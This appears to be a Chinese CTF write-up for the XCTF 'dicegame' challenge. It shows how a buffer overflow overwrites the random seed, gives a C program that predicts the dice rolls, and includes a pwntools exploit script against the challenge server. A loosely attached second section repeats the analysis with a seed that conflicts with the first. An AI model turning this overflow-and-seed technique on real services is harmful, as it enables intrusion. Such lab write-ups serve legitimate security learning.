xctf 攻防世界-dicegame writeup

本文介绍了一种利用缓冲区溢出漏洞,通过覆盖随机数种子实现对特定程序的攻击策略。通过设置种子值为0,编写C程序预知随机数序列,进而构造payload发送至目标服务器,成功绕过50次随机数验证,获取flag。

在这里插入图片描述
比较容易发现可以对buf进行缓冲区溢出,继续往下看

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以发现获得flag的条件是循环50次,50次输入的v1值与随机数v2 都相等
根据前面发现的缓冲区溢出可以发现我们可以覆盖掉seed种子值
在这里插入图片描述
那么种子值可以被我们随意设置为一个任意值,我把它设置为0,有了种子值可以写一个c程序把50次产生的随机数都求出来
有了随机数便可以编写exp了
C程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
        srand(0);
        for(int i = 0;i < 50;i++){
                printf("%ld", (long)rand()%6+1);
        }
        return 0;
}
/*output:
25426251423232651155634433322261116425254446323361
*/

exp:

from pwn import *

context.log_level = 'debug'
c = remote("111.198.29.45", 57514)

payload = 'a'*0x40 + p64(0)

c.recvuntil("Welcome, let me know your name: ")
c.send(payload)

numbers = "25426251423232651155634433322261116425254446323361"

def answer():
    for j in range(50):
        c.sendlineafter("Give me the point(1~6): ",numbers[j])

answer()
c.interactive()

catch flag
在这里插入图片描述

### 关于Dice Game在XCTF竞赛中的问题材料 #### 题目概述 Dice Game 是 XCTF 竞赛中的一道 PWN 类型题目,该二进制文件具有特定的安全特性配置。通过 `checksec` 工具检测发现此程序启用了完整的RELRO和NX位,但是未启用栈 Canary保护措施,并且支持PIE地址空间布局随机化[^1]。 #### 安全特征分析 - **架构**: 支持amd64架构下的小端模式。 - **RELRO (重定位读只)**: 启用完全版,有助于防止攻击者利用某些类型的内存破坏漏洞。 - **Stack Canaries(堆栈金丝雀)**: 缺失这项防护意味着可能存在缓冲区溢出风险。 - **NX Bit (No-eXecute bit, 数据执行保护)**: 开启状态阻止了恶意代码注入到数据区域并被执行的可能性。 - **PIE (位置独立可执行文件)**: 此选项使得每次加载时基址不同从而增加了预测返回地址难度。 #### 示例代码展示如何基于给定种子生成一系列伪随机数值 为了模拟骰子游戏内部可能使用的随机序列,下面给出了一段C语言源码片段用于重现这一过程: ```c #include <stdio.h> #include <stdlib.h> int main(){ unsigned int seed; seed = 0x30303030; // 设定固定的种子值 srand(seed); for(int i=0;i<50;i++) printf("%d\n", rand()); return 0; } ``` 这段代码初始化了一个已知的seed之后调用了`srand()`函数来设置随机数发生器的状态;接着在一个循环里连续打印出了由`rand()`产生的前五十个整数结果[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值